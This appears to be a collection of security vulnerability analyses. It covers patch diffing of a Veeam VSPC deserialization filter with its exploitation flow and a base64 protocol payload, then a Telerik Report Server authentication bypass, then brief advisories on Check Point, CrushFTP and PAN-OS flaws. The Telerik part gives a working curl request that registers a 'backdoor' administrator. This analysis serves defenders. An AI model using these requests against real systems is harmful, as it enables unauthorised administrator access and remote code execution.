public override Type BindToType(string assemblyName, string typeName) { int num = typeName.IndexOf(",", StringComparison.Ordinal); if (num > 0) { typeName = typeName.Substring(0, num); } if (!assemblyName.ContainsIgnoreCase("Veeam") && _forbiddenTypes.Any((string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase))) { throw new ArgumentException("Deserialization of type " + typeName + " is prohibited."); } return _wrappedBinder?.BindToType(assemblyName, typeName); }
The _forbiddenTypes
list, which was not changed, is as follows:
"AxHost+State", "DelegateSerializationHolder", "DataSet", "PSObject", "ResourceSet", "RolePrincipal", "SessionSecurityToken", "SessionViewStateHistoryItem", TextFormattingRunProperties", "WindowsClaimsIdentity", "WindowsIdentity", "ClaimsIdentity", "DataTable", "ObjRef", "ToolboxItemContainer"
.
The first of the two patches improved BindToType
to remove the “Veeam” string allowlisting. This, and the lack of new forbidden entries, seems to indicate that the string “Veeam” is leveraged by the exploit’s serialized payload to take advantage of the string exclusion. There’s also a call to Type.GetType
, though it’s unclear what purpose it serves in the initial patch.
public override Type BindToType(string assemblyName, string typeName) { int num = typeName.IndexOf(",", StringComparison.Ordinal); if (num > 0) { typeName = typeName.Substring(0, num); } if (Array.Exists(_forbiddenTypes, (string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase))) { throw new ArgumentException("Deserialization of type " + typeName + " is prohibited."); } Type.GetType(typeName + ", " + assemblyName); return _wrappedBinder?.BindToType(assemblyName, typeName); }
Next, we’ll take a look at the content of the “patch reissue”. In this example, Type.GetType
is now used by the fullName
variable, which is then used to check more comprehensively for forbidden types. This improved function also verifies that fullName
is not null
. Notably, the exception being thrown also now includes a debugging message that prints how typeName
was parsed. This seems to indicate that the first patch may have been bypassed by confusing the parser.
public override Type BindToType(string assemblyName, string typeName) { string fullName = Type.GetType(typeName + ", " + assemblyName)?.FullName; if (fullName == null || Array.Exists(_forbiddenTypes, (string t) => fullName.EndsWith(t, StringComparison.OrdinalIgnoreCase))) { throw new ArgumentException("Deserialization of type '" + typeName + "' (parsed as '" + fullName + "') is prohibited."); } return _wrappedBinder?.BindToType(assemblyName, typeName); }
Based on the content of the secondary patch, it seems likely it was implemented in response to a patch bypass, not just to use Type.GetType
and harden the application. The excellent CODE WHITE research linked above outlines some .NET type parsing quirks when using serialization binders, which is probably the kind of thing this patch is trying to harden against.
The filter outlined above is referenced only by Veeam.MBP.AgentManager\Veeam.AC.AgentManagement\ReceiverWrapper.cs
, where it’s used within SetupSerializationBinder
and scoped for ChannelHostReceiver
and MultiplexedStreamReceiver
receiver types.
private void SetupSerializationBinder(ChannelHostReceiver receiver) { if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer) { netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder); } } private void SetupSerializationBinder(MultiplexedStreamReceiver receiver) { if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer) { netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder); } }
The first patch also included a handful of changes in various areas of the code base that return early if entity nodes of the type BackupObject
are encountered. For example, within Veeam.MBP.EntityImpl\Veeam.MBP.EntityImpl.EntityExtension\DataModelEntityExtension.cs
, the application now checks if entities are of the type BackupObject
before updating and adding child nodes.
public static void UpdateTraverse<T>(this T entity, T newEntity) where T : EntityDataModelDbNode { + if (entity is BackupObject) + { + return; + } if (entity == null) { throw new ArgumentNullException("entity"); } try { UpdateCurrentNode(entity, newEntity); AddOrUpdateChildNodes(entity, newEntity); } catch (Exception e) { Log.Error(e); throw; } } [..] private static void AddOrUpdateChildNodes<T>(T oldEntity, T newEntity) where T : EntityDataModelDbNode { List<BaseEntity> childEntitiesClone = newEntity.ChildEntitiesClone; IDictionary<string, EntityDataModelDbNode> dictionary = childEntitiesClone.OfType<EntityDataModelDbNode>().DistinctBySystemNameToDictionary(); foreach (EntityDataModelDbNode oldChild in oldEntity.ChildEntitiesClone.OfType<EntityDataModelDbNode>()) { + if (oldChild is BackupObject) + { + continue; + } if (dictionary.TryGetValue(oldChild.SystemName, out var value)) { dictionary.Remove(oldChild.SystemName); oldChild.UpdateTraverse(value); continue; } bool alwaysAlive = oldChild.GetTypeSystemName().AlwaysAlive; bool flag = childEntitiesClone.Any((BaseEntity a) => a.GetType() == oldChild.GetType()); if (!alwaysAlive || flag) { oldChild.Delete(); } } foreach (KeyValuePair<string, EntityDataModelDbNode> item in dictionary) { EntityDataModelDbNode value2 = item.Value; Log.Verbose("{0} was added", value2.SystemName); value2.CloneNode(oldEntity); } }
Summarizing Exploitation
Based on what we’ve seen in static analysis, the exploitation flow probably looks something like this:
- Authenticate to the server as a client or hijack an existing authenticated agent connection.
- Target the backup server (managed by the provider) with a serialized payload, scoped to be handled by the receiver’s custom
BinarySerializerVulnerabilityFilter
. VSPC Server deserializes client-provided data in a number of different places and relies on the filtering to catch unsafe types, so there are likely multiple possible deserialization sinks.
- Before the first patch, the serialized payload’s type will likely contain the string “Veeam” and be related to the
BackupObject
type.
- After the second patch, if exploitation is still viable, exploit attempts will likely attempt to confuse .NET type name parsing to get a malicious object deserialized.
Interacting with VSPC Server
As an addendum, though most of this analysis is based on static code review, I also want to summarize some information I’ve learned about the VSPC communication protocol for TCP ports 1989 and 9999. When VSPC Server receives a new connection from the client, it expects two bytes, a Veeam “type” byte and a “version” byte, followed by some XML data with the XML string length prepended as a 7-bit integer. The XML object, which should be a Connector
for the first interaction, can specify a connectTo
receiver, as well as a gate
to interact with. For example, opening a new channel can be performed by decoding and sending the following data to port 1989.
AgXTAQo8Q29ubmVjdG9yPgo8Y29ubmVjdFRvIHJlY2VpdmVyPSJSZWNlaXZlclY0Ij4KPGdhdGUgbmFtZT 0iQXV0aGVudGljYXRlZCIgdGltZW91dD0iMTIwMDAwIi8+CjwvY29ubmVjdFRvPgo8ZW5kcG9pbnQ+Cjx2 ZXJzaW9uPjU8L3ZlcnNpb24+CjwvZW5kcG9pbnQ+Cjxjb25uZWN0aW9uVHlwZT5Ob3JtYWw8L2Nvbm5lY3 Rpb25UeXBlPgo8ZGF0YS8+CjwvQ29ubmVjdG9yPgo
Decoded, the XML string included above defines an XML Connector
object, which specifies a ReceiverV4
receiver for post-authenticated interactions. This type seems to be affiliated with ReceiverWrapper
, which is the class that sets up the custom serialization filter that was patched.
<Connector> <connectTo receiver="ReceiverV4"> <gate name="Authenticated" timeout="120000"/> </connectTo> <endpoint> <version>5</version> </endpoint> <connectionType>Normal</connectionType> <data/> </Connector>
With a new connection open, the server should return a response containing a GUID for a new channel.
<Response status="Ok"><attributes><attr name="channelId" value="f9f1ab9c-b78f-46ed-b28b-be6b012e0afd" /><attr name="protocolVersion" value="5" /></attributes></Response>
The server will then upgrade the unencrypted connection to an encrypted connection and perform a handshake and authentication flow.
Technical Analysis
So far, 2024 has seen a few notable vulnerabilities, such as CVE-2024-1709, that attack setup wizard flows for authentication bypass. This vulnerability, discovered by researcher Sina Kheirkhah, falls into the same group. By exploiting an access control vulnerability in the administrator setup wizard, unauthenticated attackers gain high-privileged access to Telerik Report Server. With the newly-acquired administrator account, another new Report Server vulnerability, tracked as CVE-2024-1800, can be leveraged for remote code execution on the host system.
Exploitation
The initial administrator setup code in Telerik.ReportServer.Web.dll!Telerik.ReportServer.Web.Controllers.StartupController.Register
does not check if setup has already been completed. As a result, the attacker can manually perform the web request to create a new administrator account. Per Sina’s public proof of concept, the authentication bypass vulnerability can be exploited with a single request:
curl 'http://TARGET_HERE/Startup/Register' -d 'Username=USERNAME_HERE&Password=PASSWORD_HERE&ConfirmPassword=PASSWORD_HERE&Email=backdoor%40admin.com&FirstName=backdoor&LastName=user'
Public Exposure
It’s worth mentioning that Shodan only appears to return a few hundred public-facing Telerik Report Server instances. However, due to the unauthenticated RCE impact, organizations running the Report Server would be wise to patch with urgency. The Progress Knowledge Base contains guidance on how to remediate this vulnerability.
Technical Analysis
On May 28, 2024, Check Point published an advisory for an unauthenticated information disclosure vulnerability affecting Check Point Security Gateway devices configured with either the “IPSec VPN” or “Mobile Access” software blade. This vulnerability was stated as being a vulnerability impacting devices with password-only authentication enabled on some accounts. However, upon analysis, CVE-2024-24919 was discovered to be an unauthenticated arbitrary file read as root. Though attackers may steal credential files to crack account password hashes, CVE-2024-24919 also impacts systems that are not configured for password-only authentication.
This vulnerability should be urgently addressed by anyone running a Check Point Security Gateway with the IPSec VPN or Mobile Access blades enabled. Additionally, organizations should reference the Rapid7 blog post for this vulnerability for remediation and detection recommendations. As of May 30, 2024, CVE-2024-24919 has been added to CISA’s KEV catalog.
Technical Analysis
CVE-2024-4040 was discovered by Simon Garrelou, of Airbus CERT, and it’s a server-side template injection vulnerability for the CrushFTP managed file transfer suite. The vulnerability was reported to CrushFTP on Friday, April 19, 2024. That same day, it was patched and announced via the vendor’s security mailing list, though a CVE wasn’t assigned until Monday, April 22, 2024. The vulnerability impact is primarily unauthenticated arbitrary high-privilege file disclosure, and it can result in full compromise of CrushFTP instances via multiple paths. Additionally, Rapid7 has confirmed that it’s possible to establish remote code execution as a result of the file disclosure primitive.
Anyone running CrushFTP should patch with urgency. When the patch is applied, check for the IOCs outlined in the official Rapid7 analysis to identify any prior successful exploitation. As noted in the analysis, defenders should be aware that exploitation may be masked in logs via mangled exploit web requests.
Technical Analysis
CVE-2024-3400, which is technically a chain of two vulnerabilities, is an unauthenticated remote code execution exploit for software with a broad public attack surface. This vulnerability was discovered when it was used by a suspected nation state actor in the wild for initial access; needless to say, this is a bad one. Though some early communication indicated that turning off telemetry or enforcing threat signature detection might prevent exploitation, patching PAN-OS is necessary. Remediation of CVE-2024-3400 should be a high priority for organizations. When patches are applied, check for the IOCs outlined in the official Rapid7 analysis to identify any prior successful exploitation.